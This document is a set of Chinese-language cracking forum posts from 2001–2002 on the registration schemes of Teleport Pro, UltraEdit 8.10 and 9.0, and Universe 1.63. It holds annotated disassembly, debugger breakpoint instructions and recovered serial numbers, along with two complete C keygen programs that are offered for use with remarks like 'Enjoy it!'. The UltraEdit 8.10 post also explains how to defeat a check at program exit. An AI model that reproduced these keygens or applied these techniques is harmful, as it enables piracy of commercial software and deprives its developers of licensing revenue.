|
:00412C5B FF15F8014200 Call dword ptr [004201F8]
:00412C61 33C9 xor ecx, ecx
:00412C63 33C0 xor eax, eax
:00412C65 85F6 test esi, esi
:00412C67 7E13 jle 00412C7C
:00412C69 8B15FC5B4200 mov edx, dword ptr [00425BFC]--------EDX=12

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412C7A(C)
|
:00412C6F 0FBE2C38 movsx ebp, byte ptr [eax+edi]－－－－
:00412C73 03EA add ebp, edx　　　　　－－－－－－－
:00412C75 03CD add ecx, ebp　　　　　－－－－－－－同上最后得出
:00412C77 40 inc eax　　　　　　　－－－－－－－ECX＝48Fh（1167）
:00412C78 3BC6 cmp eax, esi　　　　　－－－－－－－
:00412C7A 7CF3 jl 00412C6F　　　　　－－－－－－－

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412C67(C)
|
:00412C7C 51 push ecx
:00412C7D 8D442414 lea eax, dword ptr [esp+14]

* Possible Reference to Dialog:
|
:00412C81 68085C4200 push 00425C08　－－－－－－－－－－－1167后加“－”
:00412C86 50 push eax

* Reference To: USER32.wsprintfA, Ord:02D8h
|
:00412C87 FF15FC024200 Call dword ptr [004202FC]
:00412C8D 83C40C add esp, 0000000C
:00412C90 8D4C2410 lea ecx, dword ptr [esp+10]
:00412C94 51 push ecx
:00412C95 53 push ebx

* Reference To: KERNEL32.lstrcatA, Ord:038Fh
|
:00412C96 FF15F8014200 Call dword ptr [004201F8]
:00412C9C 33C9 xor ecx, ecx
:00412C9E 33C0 xor eax, eax
:00412CA0 85F6 test esi, esi
:00412CA2 7E14 jle 00412CB8
:00412CA4 8B15005C4200 mov edx, dword ptr [00425C00]－－－－－EDX＝14

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412CB6(C)
|
:00412CAA 0FBE2C38 movsx ebp, byte ptr [eax+edi]－－－－－
:00412CAE 0FAFEA imul ebp, edx　　　　　　　　－－－－－
:00412CB1 03CD add ecx, ebp　　　　　　　　－－－－－同上，经计算
:00412CB3 40 inc eax　　　　　　　　　　　－－－－－ECX＝389Ah（14490）
:00412CB4 3BC6 cmp eax, esi　　　　　　　　－－－－－－
:00412CB6 7CF2 jl 00412CAA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412CA2(C)
|
:00412CB8 51 push ecx
:00412CB9 8D542414 lea edx, dword ptr [esp+14]

* Possible Reference to Dialog:
|
:00412CBD 68045C4200 push 00425C04
:00412CC2 52 push edx

* Reference To: USER32.wsprintfA, Ord:02D8h
|
:00412CC3 FF15FC024200 Call dword ptr [004202FC]
:00412CC9 83C40C add esp, 0000000C
:00412CCC 8D442410 lea eax, dword ptr [esp+10]
:00412CD0 50 push eax
:00412CD1 53 push ebx

* Reference To: KERNEL32.lstrcatA, Ord:038Fh
|
:00412CD2 FF15F8014200 Call dword ptr [004201F8]
:00412CD8 5F pop edi
:00412CD9 5E pop esi
:00412CDA 5D pop ebp
:00412CDB 5B pop ebx ---------这里就是真码"1453-53820-1167-14490"
:00412CDC 81C400010000 add esp, 00000100
:00412CE2 C3 ret

总结一下：这个软件的算法，应该就是把注册名，依次提出并转换成十六进制并分别和四个固定的十六进数字　　　　　进行运算，并将结果分别转换为十进制，就OK了，呵呵呵！！

这是我第一次写这方面的文章，请各位大侠不要见笑，并加以指点，谢谢

                                                                    lllufh[BCG]
2002年2月4日2:47分


Teleport Pro

 标 题:我的第一篇注册机(for Teleport Pro)，可惜别人已写过更好的。。。 (2千字)
发信人:hsf0214
时 间:2001-10-23 18:42:52
详细信息:
 我有一天想下载一个个人网站，结果下了一个teleport pro.觉得挺好用的，结果就想“合法”地用它了。跟踪了一下，觉得挺简单的。顺手写了一个注册机。因为我的QB书不在，所以没法用Basic编，看到案头有本C语言，就马马虎虎用C编了一个。写得很差，但我只为写出来能用就行了(再说，我没学过或者说没系统地学过C语言，要改进也不知道怎么改。。。)。要不是后来看到CrackIII里有别人写的注册机，我都不知道可以这样那样处理。。。就可以比我写的简练而有效得多了。。。
按说不应贴出来，因为早就有人写过更好的注册机。但这是我第一次写注册机，不贴出来？贴别的地方去也没意思，对于别人来说，这不算什么，可对我来说，是我的第一篇注册机，意义比较大了。。。So,大家原谅小弟一回了。。。OK？
下面是我的注册机：
=============================================================
#include <stdio.h>
#include <string.h>
#include <math.h>
main()
{unsigned char yourname[16];    /*定义一个长16的数组来存放注册名*/
unsigned char SN1,SN2,SN3,SN4,temSN;  /* 我想够长了,你要觉得不够,可以自己改*/
int sn11,sn10,sn21,sn20,sn31,sn30,sn41,sn40;
int SL=0;
int i;
long SN=0;
SN1=0x5d;            /* 0x5dfee4a4  是程序中给定的
  */
SN2=0xfe;
SN3=0xe4;
SN4=0xa4;
printf ("This is a CrAck program for ----\n ");
printf ("    TelePort Pro v1.29.1632 \n");
input:
printf("Please input Your Name:\n");
printf("Your Name is: ");    /*支持中文名，当然也支持英文名*/
gets(yourname);
    /*得到你的注册名 */
SL=strlen(yourname);
  /* 注册名的长度 */
if(SL<6)
                    /* 注册名长度小于6 ,提示重新输入*/
{printf("Name 's Length MUST great than 6\n Try Again  ");
goto input;};
if (SL>16)
{printf("Why you like such a long Name? \n Try Short Name Again  ");
goto input;};
for  (i=0;i<=(SL-5);i++)          /*算注册码*/
{SN1=SN1^(temSN=yourname[i+3]);  /*用第四个字符和SN1作或运算*/
SN2=SN2^(temSN=yourname[i+2]);  /*用第三个字符和SN2作或运算*/
SN3=SN3^(temSN=yourname[i+1]);  /*循环时向后挪一个字符再进行运算*/
SN4=SN4^(temSN=yourname[i]);  /* 只循环(SL-5)次, 如注册名长6位,则循环1次*/
};
        /*(一共执行2次,如长7位则循环2次(一共执行3次)*/
sn11=SN1/16;                  /*
  以下是将得到的8位的16进制数转换为10进制数*/
sn10=SN1-sn11*16;            /*由于最后一个字符不参加运算,最后一个字符*/
sn21=SN2/16;                /*可以是任何一个字母或数字,对注册码没影响*/
sn20=SN2-sn21*16;          /* 另外公司名也不参加运算,可以是任何名称*/
sn31=SN3/16;
sn30=SN3-sn31*16;
sn41=SN4/16;
sn40=SN4-sn41*16;
SN=sn11*pow(16,7);
SN=SN+sn10*pow(16,6);
SN=SN+sn21*pow(16,5);
SN=SN+sn20*pow(16,4);
SN=SN+sn31*pow(16,3);
SN=SN+sn30*pow(16,2);
SN=SN+sn41*16+sn40;
printf("Your SN  is: %ld \n",SN);  /*这就是你的注册码*/
printf("  Enjoy it! \n");
printf("        ----Cracked By HSF(hsFang) 2001.10.13\n");
}
=======================================================
大功告成，打个Kiss! 呵呵呵。。。#$@$%%!!%%^^!#@@
hsf0214于2001/10/23晚


UltraEdit v9.0

 标 题:这么久了，拿出来也没啥意思，不过这么久了，没有新东西拿出来，也不好意思。 (2千字)
发信人:arbiter
时 间:2002-1-22 19:26:50
详细信息:
 // Key Generator of UltraEdit v9.0 by arbiter[CCG]
// compile : cl /o1 /MD /o keygen.exe .\keygen.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>

typedef unsigned char    BYTE;
typedef unsigned int    WORD;
typedef unsigned long    DWORD;

const char cTab[26] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const char nTab[10] = "0123456789";

const BYTE magicXor[][16] =
{
{ 0xd8, 0x00, 0xef, 0x00, 0x8e, 0x00, 0x66, 0x00,
0x2f, 0x00, 0xde, 0x00, 0x43, 0x00, 0xa5, 0x00 },
{ 0xd3, 0x00, 0x1f, 0x00, 0x78, 0x00, 0x6f, 0x00,
0x38, 0x00, 0x8f, 0x00, 0x65, 0x00, 0x5a, 0x00 },
{ 0x00, 0x10, 0x00, 0xf1, 0x00, 0xa5, 0x00, 0x2f,
0x00, 0x1f, 0x00, 0xcb, 0x00, 0x98, 0x00, 0xf3 },
{ 0x00, 0xfe, 0x00, 0xe0, 0x00, 0x73, 0x00, 0x78,
0x00, 0x73, 0x00, 0x34, 0x00, 0x77, 0x00, 0x33 }
};

static BYTE preTab[61];

void InitTab( BYTE *name, int nlen )
{
int i;

for( i = 0; i < 61; i++ )
preTab[i] = ( i << 1 ) - 1;
memcpy( preTab, name, nlen );
preTab[nlen] &= 0x00;
}

WORD SumName( BYTE *name, int nlen )
{
int i;
WORD sum = 0;

for( i = 1; i < nlen - 1; i++ )
{
sum += name[i - 1] * name[i + 1];
sum -= name[i];
sum = sum - i + 1;
}
return( sum );
}

void GenRegCode( char *rCode, BYTE *name )
{
BYTE key, j;
WORD nSum;
int i, k, len;

j = 0;
k = 0;

len = strlen( name );
InitTab( name, len );
nSum = SumName( name, len );
key  = ( BYTE )( nSum & 0xff );
for( i = 0; i < 61; i++ )
{
j = key + i;
j ^= magicXor[i % 4][( i % 32 ) >> 1];
j = preTab[j % 59] + i;
preTab[i] = j ^ ( preTab[i + 1] <<
  1 );
j = preTab[i];
rCode[k++] = ( ( i % 5 ) & 1 ) ? nTab[j
  % 10] : cTab[j % 26];
j &= 0x00;
if( i % 5 == 4 )
rCode[k++] = 0x2d;
}

memset( rCode + 23, 0, 77 );
/*
rCode[3 ] = 0x30;
rCode[8 ] = 0x30;
rCode[12] = 0x30;
rCode[16] = 0x30;
rCode[20] = 0x30;
*/
}
void main( void )
{
int l;

BYTE uName[60] = { 0x00 };
char uCode[100] = { 0x00 };

fprintf( stderr, ">> UltraEdit v9.0 keygen by arbiter[CCG].\n"
  );
fprintf( stderr, ">> namelength not great than 60 digits
  also not less than 6 digits!\n" );
fprintf( stderr, ">> Your Name :\t" );
gets( uName );
l = strlen( uName );
if( l > 60 || l < 6 )
{
fprintf( stderr, ">> Invalid user name!"
  );
getch();
exit( 0 );
}
GenRegCode( uCode, uName );
fprintf( stderr, ">> Your Code :\t%s", uCode );
getch();
}


UltraEdit32 v8.10

 标 题:关于UltraEdit32 v8.1的注册校验(PJ手记).高手免看! (14千字)
发信人:CL2002
时 间:2002-2-1 22:27:59
详细信息:
软件: UltraEdit32 v8.10
下载: 随处可下.
工具: SoftIce 4.05,W32Dasm.

此软件的用途可不用我多说了吧! 网上也有很多它的注册机,新手可用它来练练手,呵呵! 今次主要来
看看它的注册校验.它的注册码经过加密后放在安装路径下的Uedit32.reg文件里,注意这不是注册表文件.
程序在每次起动,运行时和关闭时检测注册码的正确性.下:bpx createfilea do "d *(esp+4)"就可以拦截
到它读这个文件,回到程序的领空后再经readfile后就可见到你的经过加密后的注册码,经过解密运算后,
再按N次F10就来到如下的程序段:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414927(C)
|
:0041483A 8B45F8 mov eax, dword ptr [ebp-08]
:0041483D 8D740DB0 lea esi, dword ptr [ebp+ecx-50]
:00414841 03C6 add eax, esi
:00414843 83F83C cmp eax, 0000003C
:00414846 7D42 jge 0041488A
:00414848 8BC1 mov eax, ecx

* Possible Reference to String Resource ID=00004: "*.MAC"
|
:0041484A 6A04 push 00000004
:0041484C 99 cdq
:0041484D 5F pop edi
:0041484E F7FF idiv edi
:00414850 8BC1 mov eax, ecx

* Possible Reference to String Resource ID=00032: "

Any changes will be lost and the file deleted!"
|
:00414852 6A20 push 00000020
:00414854 5B pop ebx

* Possible Reference to String Resource ID=00059: "Select File to Compare"
|
:00414855 6A3B push 0000003B
:00414857 8BFA mov edi, edx
:00414859 99 cdq
:0041485A F7FB idiv ebx
:0041485C 8BC2 mov eax, edx
:0041485E 99 cdq
:0041485F 2BC2 sub eax, edx
:00414861 8B14BD9C225000 mov edx, dword ptr [4*edi+0050229C]
:00414868 D1F8 sar eax, 1
:0041486A 5F pop edi
:0041486B 0FB60402 movzx eax, byte ptr [edx+eax]
:0041486F 8AD1 mov dl, cl
:00414871 0255FC add dl, byte ptr [ebp-04]
:00414874 0FB6D2 movzx edx, dl
:00414877 33C2 xor eax, edx
:00414879 99 cdq
:0041487A F7FF idiv edi
:0041487C 8B7D10 mov edi, dword ptr [ebp+10]
:0041487F 8A4415B0 mov al, byte ptr [ebp+edx-50]
:00414883 02C1 add al, cl
:00414885 324601 xor al, byte ptr [esi+01]
:00414888 8806 mov byte ptr [esi], al

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414846(C)
|
:0041488A 83FF3C cmp edi, 0000003C
:0041488D 7D71 jge 00414900
:0041488F 8BC1 mov eax, ecx

* Possible Reference to String Resource ID=00005: "ULTRAEDT.MAC"
|
:00414891 6A05 push 00000005
:00414893 99 cdq
:00414894 5B pop ebx
:00414895 F7FB idiv ebx
:00414897 8BDA mov ebx, edx
:00414899 85DB test ebx, ebx
:0041489B 895DF0 mov dword ptr [ebp-10], ebx
:0041489E 740A je 004148AA
:004148A0 83FB02 cmp ebx, 00000002
:004148A3 7405 je 004148AA
:004148A5 83FB04 cmp ebx, 00000004
:004148A8 751A jne 004148C4

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041489E(C), :004148A3(C)
|
:004148AA 0FB606 movzx eax, byte ptr [esi]

* Possible Reference to String Resource ID=00026: "Run Windows Program"
|
:004148AD 6A1A push 0000001A
:004148AF 99 cdq
:004148B0 5B pop ebx
:004148B1 F7FB idiv ebx
:004148B3 8B5DF0 mov ebx, dword ptr [ebp-10]
:004148B6 80C241 add dl, 41
:004148B9 88943D30FFFFFF mov byte ptr [ebp+edi-000000D0], dl
:004148C0 47 inc edi
:004148C1 897D10 mov dword ptr [ebp+10], edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004148A8(C)
|
:004148C4 83FF3C cmp edi, 0000003C
:004148C7 7D37 jge 00414900
:004148C9 83FB01 cmp ebx, 00000001
:004148CC 7405 je 004148D3
:004148CE 83FB03 cmp ebx, 00000003
:004148D1 7517 jne 004148EA

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004148CC(C)
|
:004148D3 0FB606 movzx eax, byte ptr [esi]

* Possible Reference to String Resource ID=00010: "
Thank you for supporting Shareware."
|
:004148D6 6A0A push 0000000A
:004148D8 99 cdq
:004148D9 5E pop esi
:004148DA F7FE idiv esi
:004148DC 80C230 add dl, 30
:004148DF 88943D30FFFFFF mov byte ptr [ebp+edi-000000D0], dl-->计算所得的注册码.
:004148E6 47 inc edi
:004148E7 897D10 mov dword ptr [ebp+10], edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004148D1(C)
|
:004148EA 83FF3C cmp edi, 0000003C
:004148ED 7D11 jge 00414900
:004148EF 83FB04 cmp ebx, 00000004-->检查是否每组注册码的第5位.
:004148F2 750C jne 00414900
:004148F4 C6843D30FFFFFF2D mov byte ptr [ebp+edi-000000D0], 2D-->蓬5后面插"-".
:004148FC 47 inc edi
:004148FD 897D10 mov dword ptr [ebp+10], edi

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041488D(C), :004148C7(C), :004148ED(C), :004148F2(C)
|
:00414900 85C9 test ecx, ecx
:00414902 7E1F jle 00414923
:00414904 3B4DF4 cmp ecx, dword ptr [ebp-0C]
:00414907 7D1A jge 00414923
:00414909 3B7DF4 cmp edi, dword ptr [ebp-0C]
:0041490C 7D15 jge 00414923
:0041490E 8B4508 mov eax, dword ptr [ebp+08]
:00414911 0FBE5401FF movsx edx, byte ptr [ecx+eax-01]
:00414916 0FBE0407 movsx eax, byte ptr [edi+eax]
:0041491A 0FAFD0 imul edx, eax
:0041491D 011554C85000 add dword ptr [0050C854], edx

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00414902(C), :00414907(C), :0041490C(C)
|
:00414923 41 inc ecx
:00414924 83F93C cmp ecx, 0000003C----->检查是否够60位?
:00414927 0F8C0DFFFFFF jl 0041483A
:0041492D 33D2 xor edx, edx
上面的这段算法就是注册码的算法,程序的算法也不算是很复杂,有兴趣可以研究上面的算法,它主要是用
用注册名的ASC码和与0-----3C(前面几位是用注册名代替)之间的ASC码值再加上查表作数学运算,每算一位
得一位注册码,名字>=6个,注册码>15个(后面可见到),注册码形式:AAAAA-BBBBB-XXXXX-YYYYY.

* Possible Reference to String Resource ID=00006: "Load Macro"
|
:0041498A 6A06 push 00000006
:0041498C 8065BF00 and byte ptr [ebp-41], 00
:00414990 80A547FFFFFF00 and byte ptr [ebp+FFFFFF47], 00--->此处选定所需的注册码位数.
:00414997 59 pop ecx
:00414998 8D8570FFFFFF lea eax, dword ptr [ebp+FFFFFF70]
:0041499E 50 push eax
:0041499F 8DBD70FFFFFF lea edi, dword ptr [ebp+FFFFFF70]--->此处要放的就是假注册码.
:004149A5 FF750C push [ebp+0C]
:004149A8 C68537FFFFFF30 mov byte ptr [ebp+FFFFFF37], 30--->真码第8位置为0;
:004149AF F3 repz
:004149B0 A5 movsd
:004149B1 80658700 and byte ptr [ebp-79], 00
:004149B5 C68577FFFFFF30 mov byte ptr [ebp+FFFFFF77], 30--->假码第8位置为0.
:004149BC C6857CFFFFFF30 mov byte ptr [ebp+FFFFFF7C], 30--->假码第13位置为0.
:004149C3 C6458630 mov [ebp-7A], 30------------------>假码最后一位置为0.
:004149C7 C6853CFFFFFF30 mov byte ptr [ebp+FFFFFF3C], 30--->真码第13位置为0.
:004149CE C68546FFFFFF30 mov byte ptr [ebp+FFFFFF46], 30--->真码最后一位置为0.
:004149D5 E8E65A0800 call 0049A4C0
:004149DA 59 pop ecx
:004149DB 59 pop ecx
:004149DC 5E pop esi
:004149DD 85C0 test eax, eax
:004149DF 7523 jne 00414A04
:004149E1 8D8570FFFFFF lea eax, dword ptr [ebp+FFFFFF70]
:004149E7 50 push eax
:004149E8 FF750C push [ebp+0C]
:004149EB E8D05A0800 call 0049A4C0
:004149F0 59 pop ecx
:004149F1 85C0 test eax, eax
:004149F3 59 pop ecx
:004149F4 7554 jne 00414A4A
:004149F6 FF750C push [ebp+0C]
:004149F9 E8B2430800 call 00498DB0
:004149FE 83F80C cmp eax, 0000000C
:00414A01 59 pop ecx
:00414A02 7446 je 00414A4A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004149DF(C)
|
:00414A04 8D45B0 lea eax, dword ptr [ebp-50]
:00414A07 50 push eax
:00414A08 8D8570FFFFFF lea eax, dword ptr [ebp+FFFFFF70]
:00414A0E 50 push eax
:00414A0F E8AC5A0800 call 0049A4C0
:00414A14 59 pop ecx
:00414A15 85C0 test eax, eax
:00414A17 59 pop ecx
:00414A18 7429 je 00414A43
:00414A1A 8D8530FFFFFF lea eax, dword ptr [ebp+FFFFFF30]
:00414A20 50 push eax
:00414A21 8D8570FFFFFF lea eax, dword ptr [ebp+FFFFFF70]
:00414A27 50 push eax
:00414A28 E8935A0800 call 0049A4C0----->此CALL为真假码相比较.
:00414A2D 59 pop ecx
:00414A2E 85C0 test eax, eax----->注册码相等则EAX==0.
:00414A30 59 pop ecx
:00414A31 7410 je 00414A43
:00414A33 C70558C8500001000000 mov dword ptr [0050C858], 00000001---->未注册标志.

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041479C(C), :004147A5(C), :004147BD(C)
|
:00414A3D 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414A4D(U)
|
:00414A3F 5F pop edi
:00414A40 5B pop ebx
:00414A41 C9 leave
:00414A42 C3 ret
注意上面这段代码,它选择要比较的注册码,此处只比较20位,就是第8,13和最后一位不作比较,形式如下:
A A A A A - B B B B B - X X X X X - Y Y Y Y Y
|_________|___________________|

这三位不作比较.
如果你到此处就收工大吉了的话,那么恭喜你了! ^O^ 下次起动后它不会叫你注册了,但是它在关闭的时候会
会把的你的Uedit32.reg给删掉,再下次的话,你又得.......! 呵呵!

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046D830(C)
|
:0046D839 66813D28535100D007 cmp word ptr [00515328], 07D0
:0046D842 0F8656010000 jbe 0046D99E
:0046D848 66833D2A53510001 cmp word ptr [0051532A], 0001
:0046D850 0F8648010000 jbe 0046D99E
:0046D856 6854C75000 push 0050C754
:0046D85B 8D4DE4 lea ecx, dword ptr [ebp-1C]
:0046D85E E8E83E0400 call 004B174B
:0046D863 FF75E4 push [ebp-1C]
:0046D866 895DFC mov dword ptr [ebp-04], ebx
:0046D869 E842B50200 call 00498DB0
:0046D86E A154C85000 mov eax, dword ptr [0050C854]
:0046D873 FF3548C75000 push dword ptr [0050C748]
:0046D879 8945F0 mov dword ptr [ebp-10], eax
:0046D87C E82FB50200 call 00498DB0
:0046D881 59 pop ecx
:0046D882 83F80F cmp eax, 0000000F----------->检查注册码的位数(>=15).
:0046D885 59 pop ecx
:0046D886 0F8206010000 jb 0046D992
:0046D88C 391DB4525100 cmp dword ptr [005152B4], ebx--->此处为注册标志.
:0046D892 0F85FA000000 jne 0046D992
:0046D898 391DB8525100 cmp dword ptr [005152B8], ebx
:0046D89E 0F84EE000000 je 0046D992
:0046D8A4 0FB645F0 movzx eax, byte ptr [ebp-10]---->计算参数(4D).

* Possible Reference to String Resource ID=00025: "Dos Command"
|
:0046D8A8 6A19 push 00000019
:0046D8AA 8B3D48C75000 mov edi, dword ptr [0050C748]
:0046D8B0 99 cdq
:0046D8B1 59 pop ecx
:0046D8B2 F7F9 idiv ecx
:0046D8B4 0FBE4716 movsx eax, byte ptr [edi+16]-->注册码最后一位.
:0046D8B8 83C241 add edx, 00000041
:0046D8BB 3BC2 cmp eax, edx
:0046D8BD 7530 jne 0046D8EF
:0046D8BF 0FB645F0 movzx eax, byte ptr [ebp-10]

* Possible Reference to String Resource ID=00009: "
This copy of UltraEdit-32 is licensed to :"
|
:0046D8C3 6A09 push 00000009
:0046D8C5 99 cdq
:0046D8C6 59 pop ecx
:0046D8C7 F7F9 idiv ecx
:0046D8C9 0FBE4707 movsx eax, byte ptr [edi+07]-->注册码第8位.
:0046D8CD 83C230 add edx, 00000030
:0046D8D0 3BC2 cmp eax, edx
:0046D8D2 751B jne 0046D8EF
:0046D8D4 0FB645F0 movzx eax, byte ptr [ebp-10]
:0046D8D8 8A4F0C mov cl, byte ptr [edi+0C]------>注册码第13位.

* Possible Reference to String Resource ID=00013: "Mod: "
|
:0046D8DB 6A0D push 0000000D
:0046D8DD 99 cdq
:0046D8DE 5F pop edi
:0046D8DF F7FF idiv edi
:0046D8E1 0FBEC1 movsx eax, cl
:0046D8E4 83C241 add edx, 00000041
:0046D8E7 3BC2 cmp eax, edx
:0046D8E9 0F84A3000000 je 0046D992--------------->这是最后一次机会了!!!

上面的代码则为程序在关闭时最后一次检测注册码,如不等,则干掉你的Uedit32.reg文件,使你又变成未
注册版本,实际上也是它比较起动时没检查的三位注册码,利用计算参数D(44)分别除以Ox19,Ox9,OxD的余数
再加上30或41所得的值来作为注册码.如何才能在程序关闭时中断得到上面的代码? 呵呵,见到上面的注册
标志了么? 用它设断就行了.Good Luck!!!


Universe 1.63

 标 题:Universe 1.63注册码生成分析及注册机原码（上） (2千字)
发信人:Maomao[CCG]
时 间:2001-11-12 18:34:15
详细信息:
Universe 1.63注册码生成分析及注册机原码（上）

作者：Maomao[CCG][BCG][CNCG]

下载：
http://www.diardsoftware.com/ (最新版本1.63)

说明： 本程序是一个专门用于制作美丽星空图的软件，可生成各种各样的星云、星空、行星、星系等，可自由调节，效果非常棒，而且没有加壳。

用TRW载入后下getwindowtexta，运行并注册，输入用户名Maomao[CCG]与注册码87654321后OK，被中断，按F5，又被中断(第一次取用户名，第二次取注册码)，下BD *, pmodule后，来到这里：
0177:00462D65 CALL `USER32!GetWindowTextA`
0177:00462D6B MOV ECX,[EBP+10] <=====光标在这里
0177:00462D6E PUSH BYTE -01
0177:00462D70 CALL 00456056
0177:00462D75 JMP SHORT 00462D82

按住F10,一直来到这里：
0177:0040AC87 MOV EDX,[EBP-0C]
0177:0040AC8A ADD EDX,9C
0177:0040AC90 PUSH EDX
0177:0040AC91 MOV ECX,00497950
0177:0040AC96 CALL 00416D8E <=====可疑的call
0177:0040AC9B MOV [EBP-04],EAX
0177:0040AC9E CMP DWORD [EBP-04],BYTE +00
0177:0040ACA2 JZ 0040ACDC <=====跳走就Over了
0177:0040ACA4 MOV EAX,[EBP-0C]

在0177:0040AC96行上设断，重新注册跟进去，这个call里有这样一段程序:
0177:00416D8E PUSH EBP
0177:00416D8F MOV EBP,ESP
0177:00416D91 SUB ESP,BYTE +08
0177:00416D94 MOV [EBP-04],ECX
0177:00416D97 CMP DWORD [EBP+0C],BYTE +00
0177:00416D9B JNG 00416DA5
0177:00416D9D MOV EAX,[EBP+0C]
0177:00416DA0 MOV [EBP-08],EAX
0177:00416DA3 JMP SHORT 00416DAE
0177:00416DA5 MOV ECX,[EBP-04]
0177:00416DA8 MOV EDX,[ECX+10]
0177:00416DAB MOV [EBP-08],EDX
0177:00416DAE MOV EAX,[EBP+08]
0177:00416DB1 PUSH EAX
0177:00416DB2 CALL 00416844 <=====算注册码的call
0177:00416DB7 ADD ESP,BYTE +04
0177:00416DBA XOR ECX,ECX
0177:00416DBC CMP [EBP-08],EAX <=====这里?EAX可以看到真正注册码"603700860"
? EBP-8是输入的注册码"87654321"
0177:00416DBF SETZ CL <=====设置标志
0177:00416DC2 MOV EAX,ECX
0177:00416DC4 MOV ESP,EBP
0177:00416DC6 POP EBP
0177:00416DC7 RET 08
程序运行时，时刻检测所输注册码，直接暴破是没有用的。修改标志为1可以使用程序不弹出错误框，但无法完成注册。现在我们得到一个正确的注册码：User Name:Maomao[CCG] User Key:603700860
如果仅满足于在0177:00416DBC处找出一个注册码，对破解水平的提高没有任何帮助。我们还是要追进算码的那个call。

(上篇完~~~)

标 题:Universe 1.63注册码生成分析及注册机原码（中） (7千字)
发信人:Maomao[CCG]
时 间:2001-11-12 20:22:32
详细信息:

Universe 1.63注册码生成分析及注册机原码（中）
作者：Maomao[CCG]

我们追进算注册码的CALL，看到下面的程序段：
0177:00416844 PUSH EBP
0177:00416845 MOV EBP,ESP
0177:00416847 PUSH BYTE -01
0177:00416849 PUSH DWORD 004754B9
0177:0041684E MOV EAX,`DOSMGR_BackFill_Allowed`
0177:00416854 PUSH EAX
0177:00416855 MOV `DOSMGR_BackFill_Allowed`,ESP
0177:0041685C SUB ESP,BYTE +2C
0177:0041685F PUSH DWORD 0048DCCC
0177:00416864 LEA EAX,[EBP-30]
0177:00416867 PUSH EAX
0177:00416868 CALL 00416CC2
0177:0041686D ADD ESP,BYTE +08
0177:00416870 MOV [EBP-34],EAX
0177:00416873 MOV ECX,[EBP-34]
0177:00416876 MOV [EBP-38],ECX
0177:00416879 MOV DWORD [EBP-04],00
0177:00416880 MOV EDX,[EBP-38]
0177:00416883 PUSH EDX
0177:00416884 MOV EAX,[EBP+08]
0177:00416887 PUSH EAX
0177:00416888 CALL 00417020
0177:0041688D MOV [EBP-2C],AL
0177:00416890 MOV DWORD [EBP-04],FFFFFFFF
0177:00416897 LEA ECX,[EBP-30]
0177:0041689A CALL 00455C64
0177:0041689F MOV ECX,[EBP-2C]
0177:004168A2 AND ECX,FF
0177:004168A8 TEST ECX,ECX
0177:004168AA JZ 004168B3
0177:004168AC XOR EAX,EAX
0177:004168AE JMP 00416997
0177:004168B3 CALL 0042A6D0
0177:004168B8 MOV [EBP-24],EAX
0177:004168BB MOV DWORD [EBP-10],00
0177:004168C2 MOV DWORD [EBP-20],01
0177:004168C9 MOV DWORD [EBP-1C],00
0177:004168D0 JMP SHORT 004168DB
以上是一些无太多关系的操作，主要是姓名和注册码的存取和转换，下面来到重点了：

0177:004168D2 MOV EDX,[EBP-1C]
0177:004168D5 ADD EDX,BYTE +01
0177:004168D8 MOV [EBP-1C],EDX
0177:004168DB MOV ECX,[EBP+08]
0177:004168DE CALL 00403460 <=====计算姓名的位数
0177:004168E3 CMP [EBP-1C],EAX <=====EBP-1C是指针，用于取字符
0177:004168E6 JNL 00416937
0177:004168E8 MOV EAX,[EBP-1C] <=====指针送入EAX
0177:004168EB PUSH EAX
0177:004168EC MOV ECX,[EBP+08] <=====这里D *ECX 可以看到用户名"Maomao[CCG]"
0177:004168EF CALL 00417000 <=====取指针所指字符到AL
0177:004168F4 MOVSX ECX,AL <=====送入ECX
0177:004168F7 MOV [EBP-28],ECX <=====临时寄存这个字符(下面还要用到)
0177:004168FA MOV EDX,[EBP-10] <=====取累加器中的数据(EBP-10为累加器)
0177:004168FD ADD EDX,[EBP-28] <=====相加
0177:00416900 MOV [EBP-10],EDX <=====结果送入累加器，下一次再使用
0177:00416903 MOV EAX,[EBP-1C] <=====取指针到EAX
0177:00416906 AND EAX,80000001 <=====与0x80000001 AND
(当指针为奇数时结果为0，偶数数结果为1)
0177:0041690B JNS 00416912
0177:0041690D DEC EAX
0177:0041690E OR EAX,BYTE -02
0177:00416911 INC EAX
0177:00416912 TEST EAX,EAX <=====判断奇偶
0177:00416914 JZ 0041691F
0177:00416916 MOV DWORD [EBP-20],FFFFFFFF <=====偶位时送符号位-1
0177:0041691D JMP SHORT 00416926
0177:0041691F MOV DWORD [EBP-20],01 <=====奇位时送符号位1
0177:00416926 MOV ECX,[EBP-20] <=====取符号位
0177:00416929 IMUL ECX,[EBP-28] <=====取临时寄存的字符与符号相乘(偶数位结果为负)
0177:0041692D MOV EDX,[EBP-10] <=====取累加器中的值
0177:00416930 ADD EDX,ECX <=====再相加(如果是偶数位就是相减了)
0177:00416932 MOV [EBP-10],EDX <=====送入累加器
0177:00416935 JMP SHORT 004168D2 <=====取下一字符
上面这段程序完成奇位字符相加两次，偶位字符一加一减（等于不运算）。结果为所有奇位字符和的二倍。
紧接着：
0177:00416937 MOV EAX,[EBP-10] <=====取累加器中的值
0177:0041693A MOV [EBP-18],EAX <=====送入[EBP-18]
0177:0041693D MOV ECX,[EBP-10] <=====取累加器中的值到ECX
0177:00416940 IMUL ECX,[EBP-10] <=====相乘(相当于求平方)
0177:00416944 MOV [EBP-10],ECX <=====结果送入累加器
0177:00416947 MOV EDX,[EBP-10] <=====取累加器中的值
